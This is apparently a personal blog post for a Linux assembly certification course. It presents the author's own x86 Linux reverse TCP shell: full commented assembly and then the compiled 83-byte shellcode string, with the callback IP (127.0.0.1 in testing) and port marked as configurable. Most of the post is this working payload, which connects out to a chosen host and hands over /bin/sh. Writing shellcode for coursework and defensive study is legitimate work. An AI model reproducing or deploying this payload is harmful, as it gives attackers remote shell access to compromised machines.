This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1202
TL;DR: Final shellcode is here
Hi again! Today is sunday - most productive day of the week :)
Recently I published results of msfvenom-generated linux/x86/shellcode_reverse_tcp reverse engineering and now I am ready to present you my own reverse tcp shell.
You probably know that unlike the bind tcp shellcode, reverse tcp shellcode consists of 4 parts and syscalls. Here is a list:
There was not so hard to implement all these four steps (after 6 steps in bind_tcp shellcode and a huge amount of things to research). Actually, SYS_SOCKET, SYS_DUP2 and SYS_EXECVE calls are the same as in Bind_TCP shellcode. SYS_CONNECT has the same order of arguments as the SYS_BIND too.
I won’t publish deep description of this shellcode and all optimisation steps, because most of the code is the same, and you should be familiar with this if you read my previous articles.
After some optimization and cleaning 0x00 bytes I got something like that:
; reverse_shell.asm
; Author: German Namestnikov
global _start
section .text
_start:
; int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
xor esi, esi
mov al, 0x66 ; SYS_SOCKETCALL
inc ebx ; SYS_SOCKET
push esi ; protocol = 0
push ebx ; type = SOCK_STREAM
push dword 0x02 ; domain = AF_INET
mov ecx, esp ; ecx -> params
int 0x80
xor ebx, ebx
xchg ebx, eax ; save socket descriptor
; int dup2(int oldfd, int newfd);
; int dup2(accept_descriptor, STDERR/STDOUT/STDIN)
xor ecx, ecx
pop ecx
dup2_call:
mov al, 0x3f
int 0x80
dec ecx
jns dup2_call
xchg ebx, edx ; EBX stores socket descriptor, need to save in into EDX
; int connect(int sockfd, const struct sockaddr *addr,
; socklen_t addrlen);
mov al, 0x66 ; SYS_SOCKETCALL
mov bl, 0x03 ; SYS_CONNECT
; struct sockaddr_in {
push dword 0x0100007f ; sin_addr = htons(127.0.0.1) <-- host
push word 0x901f ; sin_port = htons(8080) <------- port
push word 0x02 ; sin_family = AF_INET
; };
mov ecx, esp ; ecx -> sockaddr_in addr
push dword 0x10 ; addrlen = 16
push ecx ; sockaddr_in* addr
push edx ; sockfd
mov ecx, esp ; ecx -> params
int 0x80
; int execve(const char *filename, char *const argv[],
; char *const envp[]);
xor eax, eax
push eax ; NULL-terminator for '/bin//sh'
push dword 0x68732f2f ; push "hs//"
push dword 0x6e69622f ; push "nib/"
mov ebx, esp ; EBX points to the '/bin//sh', 0x00 string
xor ecx, ecx ; Set 0 all other params
xor edx, edx ; for SYS_EXECVE
xor esi, esi
mov al, 0x0b ; SYS_EXECVE CODE
int 0x80
The only 0x00 bytes here are bytes from IP address I used for tests (127.0.0.1). This shellcode takes only 83 bytes and IP and Port are easily configurable.
Here is a compiled version of this shellcode:
"\x31\xc0\x31\xdb\x31\xf6\xb0\x66\x43\x56\x53\x6a"
"\x02\x89\xe1\xcd\x80\x31\xdb\x93\x31\xc9\x59\xb0"
"\x3f\xcd\x80\x49\x79\xf9\x87\xda\xb0\x66\xb3\x03"
"\x68"
"\x7f\x00\x00\x01" // IP to connect
"\x66\x68"
"\x1f\x90" // Port
"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd"
"\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xf6\xb0\x0b"
"\xcd\x80"
During this work I found several mistakes in previous bind_tcp shellcode, and that helped me to make this code more efficient. I will try it again and I am sure that I will find something again :D
Also, I would like to reming you, that I have a GitHub repo, where I will publish all my code from SLAE course.
Good Luck!
The end